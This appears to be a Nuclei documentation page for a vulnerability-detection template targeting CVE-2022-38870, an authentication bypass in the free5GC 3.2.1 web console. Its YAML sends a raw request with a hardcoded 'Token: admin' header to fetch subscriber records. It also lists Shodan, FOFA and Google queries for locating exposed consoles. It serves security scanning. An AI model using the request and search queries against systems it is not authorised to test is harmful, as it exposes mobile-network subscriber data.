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Nuclei Templates

Free5gc 3.2.1 - Information Disclosure

ID: CVE-2022-38870

Severity: high

Author: For3stCo1d

Tags: cve,cve2022,free5gc,exposure

Description

Section titled “Description”

Free5gc 3.2.1 is susceptible to information disclosure. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

Section titled “YAML Source”
id: CVE-2022-38870


info:
  name: Free5gc 3.2.1 - Information Disclosure
  author: For3stCo1d
  severity: high
  description: |
    Free5gc 3.2.1 is susceptible to information disclosure. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    Successful exploitation of this vulnerability could result in unauthorized access to sensitive information.
  remediation: |
    Apply the latest patch or upgrade to a patched version of Free5gc 3.2.1 to mitigate the vulnerability.
  reference:
    - https://github.com/free5gc/free5gc/issues/387
    - https://nvd.nist.gov/vuln/detail/CVE-2022-38870
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Henry4E36/POCS
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-38870
    cwe-id: CWE-306
    epss-score: 0.01531
    epss-percentile: 0.8705
    cpe: cpe:2.3:a:free5gc:free5gc:3.2.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: free5gc
    product: free5gc
    shodan-query:
      - http.title:"free5GC Web Console"
      - http.title:"free5gc web console"
    fofa-query: title="free5gc web console"
    google-query: intitle:"free5gc web console"
  tags: cve,cve2022,free5gc,exposure


http:
  - raw:
      - |
        GET /api/subscriber HTTP/1.1
        Host: {{Hostname}}
        Token: admin


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"plmnID":'
          - '"ueId":'
        condition: and


      - type: word
        part: header
        words:
          - "application/json"


      - type: status
        status:
          - 200
# digest: 490a0046304402206d808209dddf005ec194e02b20e1fc238dfaa10bd75a5fcc91dd002c470ef2ec02204e898032451d375f348fbca78ba76791a25979e653f46409d5e74237ffa4f386:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-38870.yaml"

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